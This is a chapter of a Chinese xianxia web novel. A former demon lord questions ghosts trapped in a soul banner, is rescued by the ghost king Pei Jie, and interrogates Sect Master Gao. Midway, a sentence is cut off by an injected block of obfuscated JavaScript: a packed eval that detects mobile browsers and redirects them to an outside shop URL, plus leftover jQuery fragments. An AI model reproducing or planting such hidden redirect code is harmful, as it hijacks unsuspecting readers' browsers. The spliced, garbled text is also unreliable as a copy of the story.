“狱中那篇罪己诏是你写的吗?”一个女鬼似乎有些不好意思,"无意冒犯,我只是觉得不太像你的风格。"
“当然不是,我也是从话本上才知道自己写了那玩意。”仙界那些宗主长老一个个看起来道貌岸然,编起谎来当真厚颜无耻。
“外界有很多传言,有人说你在狱中魂飞魄散,有人说仙界放你一条生路让你归隐,还有人说你逃到妖界。你既然能进招魂幡,想必确实从十八寂灭狱逃出来了?有打算东山再起吗?要不带上小弟我?我虽是散修,进招魂幡前也到了金丹境。”一个男鬼殷勤道。
都进招魂幡了,还想着搞事业呢,我都不知道要不要夸夸他的上进心。
“先来后到,这是我偶像,要是出去了肯定先带我一起。”另一个男鬼讥讽道。
“我都进来将近五百年了,你们才进来多久?”玉清仙观的女鬼哀号道,"前辈出去了先救我。"
他们恐怕没想到,现在的我只有聚灵境,早已不是当年呼风唤雨的魔尊。
“我刚好有一个问题,你们可知道何为精魄之力?”高宗主到底是诈我还是确有其事,这得搞清楚,不然哪天去冥界真被盯上了。
“我有个朋友修鬼道,我听他提起过,这种精魄之力对神魂是大补之物,只是炼制手法有些邪门。”一个男鬼吞吞吐吐道。
“还能比进招魂幡更邪门的吗?我跟你们不一样,我是活着的时候被拉进来的,然后就变成了现在这个鬼样子。”这个男鬼便是称呼我偶像的那位,魂体融化的部分已经蔓延到了腰部。
“那你们修鬼道的狭路相逢,都想抢对方的魂魄,黑吃黑怪谁呢?”另一个女鬼嘲讽道,"你真应该跟玉清仙观的道友学学,你看人家进来五百年了,神魂还完整着呢。"
眼见着他们一群鬼要吵起来,我连忙回到正题,"什么炼制手法?"
“至少要收集九百九十九个枉死的魂魄,配合特殊的功法和法器才行。这些魂魄被炼化后永生无□□回转世。”那个男鬼干笑一声,"这些都是听说啦,毕竟枉死的魂魄要么成为游荡的厉鬼,要么就去冥界投胎转世,不是这么容易收集的。"
仙魔大战中枉死的冤魂岂止这个数目。
“这精魄之力会保留原主的记忆吗?”我问道。
“应该不会,毕竟炼化的过程中都神念俱灭了,所有的意识一并抹除,不然这精魄之力容易反噬吧。我瞎猜的啊,我朋友没做过,我也没试过。”那个男鬼连忙撇清关系。
同为鬼魂,大家难免都有些兔死狐悲之感,在招魂幡内也有失去神智的一天,可终究是缓慢的过程,心底不免抱有一丝脱困的希望。
如果被炼化成别人神魂的补药,那真是死无葬身之地了。
如果裴玠为了我做出这样天怒人怨的事情,我会原谅他吗?
我不知道,我希望永远不要面对这个问题。
忽地天光乍亮,整个招魂幡仿佛被撕开了一道口子,我感到脖颈和手腕一松,原本束缚神识和四肢的锁链变得松动起来。
我刚进来不久,对光线尚且没这么敏感,眨巴几下眼睛便能正常视物。其他鬼魂纷纷激动地号叫起来,他们已经很久没有看到外界的光亮。
一身黑袍的裴玠拎着高宗主的衣领出现,灰灰摇着尾巴向我跑过来,从前它是威猛的上古神兽,如今被我养得更像狗一些。
除了在陆显之的记忆中,我还是第一次看到裴玠这么阴沉的脸色,小鬼恭恭敬敬地把冥煞铃双手奉上,裴玠打了个响指,冥煞铃瞬间灰飞烟灭。
好歹是个高阶法器,你瞧不上留给我也成啊,我有些心疼。
高宗主手里拿着一把三角旗轻轻一挥,扯着我手臂和脖子的锁链便消失不见。我本来是呈大字形被吊在半空中,当下便要掉下来,被灰灰稳稳接住。
“大人,这绝对是一场误会。”高宗主被拎着双脚悬空也没耽误挤出谄媚的笑容。
裴玠微微皱了皱眉,狭长的眸子满是杀气。“我本念在当年你带宗门搬至魔界的情分,再加上仙魔大战后你被长老逐出宗门确实受了一些连累,为你安排了个鬼差的闲职,没想到你竟把主意打到我身上来了。”
“小的不敢,都是误会,我有眼不识泰山,认错人了,这绝对不是上官凌音,是我老眼昏花。”高宗主演戏真是一把好手,眼泪说掉就掉。
“你先把这招魂幡里尚有神智的鬼魂都放了,我有事问你。”我恢复了些力气,这些招魂幡里的鬼魂好歹也算有同幡之谊,厉鬼没见几个,大部分都是倒霉蛋。
已经失去神智的鬼魂,只好带到冥界度化了,不然放出来也是为非作歹的邪灵恶鬼。
“这......”高宗主脸上满是不舍和纠结,终究咬咬牙,挥了两下旗。
回头望去,还保留人形的约有几十位,那位称呼我偶像的男鬼也被放了下来,一群鬼都摔了个面朝底。
众鬼瑟缩在一起,认识裴玠的自是不敢言语,不认识裴玠的却也感觉到了杀气,于是都挤做一团。
“出去再说罢。”我趴在灰灰背上,只觉得它的毛发变得十分柔软温暖,当初在望陇山上,它耍了个小聪明,毛发坚硬如刺猬,躲过了被我做成皮草大衣的厄运。
高宗主慌忙翻转旗子,我们一行连人带鬼便落到外界。我一眼便认出来,这是陆显之经常和裴玠碰头的魔界洛涯山谷。
裴玠薄唇紧抿一言不发,估计如果我不在,他早把高宗主杀了,本命法宝只要主人死了,他也可以强行炼化。
“玉清仙观的那位留下,其余的自会有鬼差领你们前往冥界。”在冥界当差两百年,我对这套流程熟得很。
鬼差估计也寻找这些鬼魂很久了,毕竟凡是死者,只要没飞升成神,都在判官簿上记着呢,赖不掉。
果然不多时,便有两位鬼差出现。通常情况下,鬼魂们因为留恋人世还会反抗一番,可这些鬼魂见到鬼差反而分外亲切主动央求带走,倒让鬼差愣了一瞬。
“现在有两个法子,一是送你回玉清仙观,让你师门长辈决定怎么处理,二是你随我去祭冥宗,我拜托祭老给你重塑肉身。”
“我选第二个。”她坚定道,"这五百年我想通了,修真本就是为了得到自由和解脱,可我却本末倒置,为了修仙错过了人生中
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13947580|147794||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
所有的风景。"
“那你在这里等我片刻。”我刚好也想回望陇山,有些事情要问清楚才行。
高宗主早就被裴玠扔在地上,他也不爬起来,直接跪坐着,老泪纵横。
我随手布了个结界,裴玠仿佛读懂我的心思,叠加隔绝术法在结界上,虽说这地方荒无人烟,可还是小心为妙。
“高宗主,我不会杀你,毕竟如你所说,你沦落至此我也确实有责任。”
我叹了口气,"不过我实在想不通,你是怎么知道我从十八寂灭狱逃出来,又怎么知道我还有一魄留存?"
高宗主垂下眼帘,"魔尊饶命,我只是道听途说罢了,做不得准的。"
“鬼王也在,你也知冥界无论追魂还是搜魂,都是世间一等的,你不说我们也有一百个法子知道,到时候命好保,神智可就难说了。”
“魔尊保证,不会伤我性命?也绝不牵连他人?”他抬头望我。
“我保证。”我要一个鬼魂的性命做甚。
“说起来,这事也是由魔尊挑起仙魔大战导致,绿林宗本打算在魔界待满三年,拿到魔晶矿脉再搬走,谁曾想仙魔大战一触即发,我们只好先去妖界暂避,打算等你们打完了再偷偷搬回仙界。”
我扶额叹息,仙界真是甩锅一把好手,仙魔大战什么时候才能不算在我头上。
“仙魔大战结束以后,我们本来打算搬回仙界,谁知道仙界颁了一道禁令,当年投靠过魔界的仙宗不得进入仙界,绿林宗也在名单上。我正发愁呢,结果大长老联合其他长老一起篡位了,把我赶了出去,他们另立山门叫红叶宗。”
高宗主开始义愤填膺,"那我可是有骨气的,我偏不改名,仙界不容我,去人界不也差不多,无非是灵气稀薄些,一些弟子也跟着我到了人界。"
十五个弟子二十个长老,你这宗主之位能坐这么久也算奇迹了。
“为了养宗糊口,我们每个人都身兼多职,有些弟子除了在绿林宗做内门弟子,也去别的宗门做外门弟子之类的,有时候也会帮各个门派传递消息之类的。”
把卧底这个职业说得这么清新脱俗,高宗主也算是个人才了。
“有个弟子心高气盛,不愿意屈居人界,我就跟他说,绿林宗的俸禄保留,他可以自己去仙界另谋生路,如果发现了有价值的情报,第一时间报给我,我会提供额外的奖赏。”
“他因为在灵兽沟通上有天赋,刚开始去了灵兽宗,后来十八寂灭狱不是新增了万蚁噬魂之刑嘛,灵兽宗的弟子都不愿意去,毕竟对修炼没什么帮助,就派他去了。”
“那些仙宗长老戒心很重,除了用刑的时间不让他接近,他偷偷留了个蚂蚁在现场,才偷听到那些情报。”
高宗主叹了口气,"那些宗主长老都是人精,后来他还是被发现了,毕竟有神识留在蚂蚁上,真是可惜。"
也不知他是可惜弟子的性命,还是可惜没有收到更多情报,我更倾向于是后者。
“他告诉我你燃烧神魂起咒,本来是该魂飞魄散的,但是神魂中有个金光闪闪的印记保住了一魄,鬼王拿着冥神的令牌把你救走了。”